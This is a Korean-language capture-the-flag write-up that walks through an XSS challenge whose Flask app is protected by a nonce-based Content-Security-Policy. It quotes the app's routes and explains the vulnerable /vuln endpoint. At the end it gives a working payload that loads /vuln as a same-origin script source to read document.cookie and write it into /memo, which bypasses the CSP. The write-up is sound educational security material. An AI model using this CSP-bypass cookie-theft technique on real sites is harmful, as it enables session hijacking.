문제를 풀이하기위해서는 제공되는 코드를 사전에 확인해줄 필요가 있다.
- /vuln
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
vuln 페이지를 구성하는 코드는 위와 같다. 이용자가 전달한 파마리터 값을 출력한다.
- /memo
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
memo 페이지를 구성하는 코드다. 이용자가 전달한 memo 파라미터의 값을 render_template함수를 통하여 기록,출력한다.
- /flag
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
flag 페이지를 구성하는 코드다. 메소드에 따른 요청마다 다른 기능을 수행한다.
GET 의 경우 이용자에게 URL을 입력받은 페이지를 제공한다.
POST의 경우 파라미터에 값과 쿠키에 FLAG를 포함하여 check_xss함수를 호출한다.
check_xss는 read_url을 호출하여 vuln에 접속한다.
- /add_header
@app.after_request
def add_header(response):
global nonce
response.headers[
"Content-Security-Policy"
] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'"
nonce = os.urandom(16).hex()
return response
http응답에 CSP 헤더를 추가하는 코드이다. 해당 코드에서 살펴야 할 부분은
어떤 방식으로 CSP 정책이 정의되있는가이다.
CSP 정책 중 script와 관련된 정책을 살펴보면 nonce속성을 필요로하며
같은 출처 내의 파일만을 script의 src로 올 수 있도록 출처를 제한하고 있다.
공격자는 nonce값을 알 수 없으므로 XSS취약점이 존재해도 일반적인 방법으로는 공격을 수행할 수 없다.
memo에서 render_template함수를 이용하여 memo.hmtl을 출력한다.
render_template함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환해 저장하기 때문에
XSS 취약점이 발생하지 않는다. 그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하므로
XSS 취약점이 발생할 수 있다.
CSP정책이 적용되어 있어 곧바로 스크립트를 실행하기는 어렵다. 정책을 살펴보면 허용되는 출처는 self다.
nonce를 예측하는 것은 불가능하므로 같은 출처 내에서 파일을 업로드하거나
원하는 내용을 반환하는 페이지가 존재할 경우 이를 이용하여 공격할 수 있다.
문제 해결을 위해서 /vuln에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취한다.

XSS 공격이 정상적으로 통하는 것을 확인하였으면 다음과 같이 입력한다.
<script src="/vuln?param=document.location='/memo?memo='%2bdocument.cookie"></script>
위와 같이 입력하면 memo페이지에서 정답을 확인할 수 있다.
주의할 점을 두번에 걸쳐 스크립트 부분을 파라미터로 해석하므로 URL decoding되어 공백으로 해석되지 않도록
+대신 %2b를 이용하여 공백을 처리한다.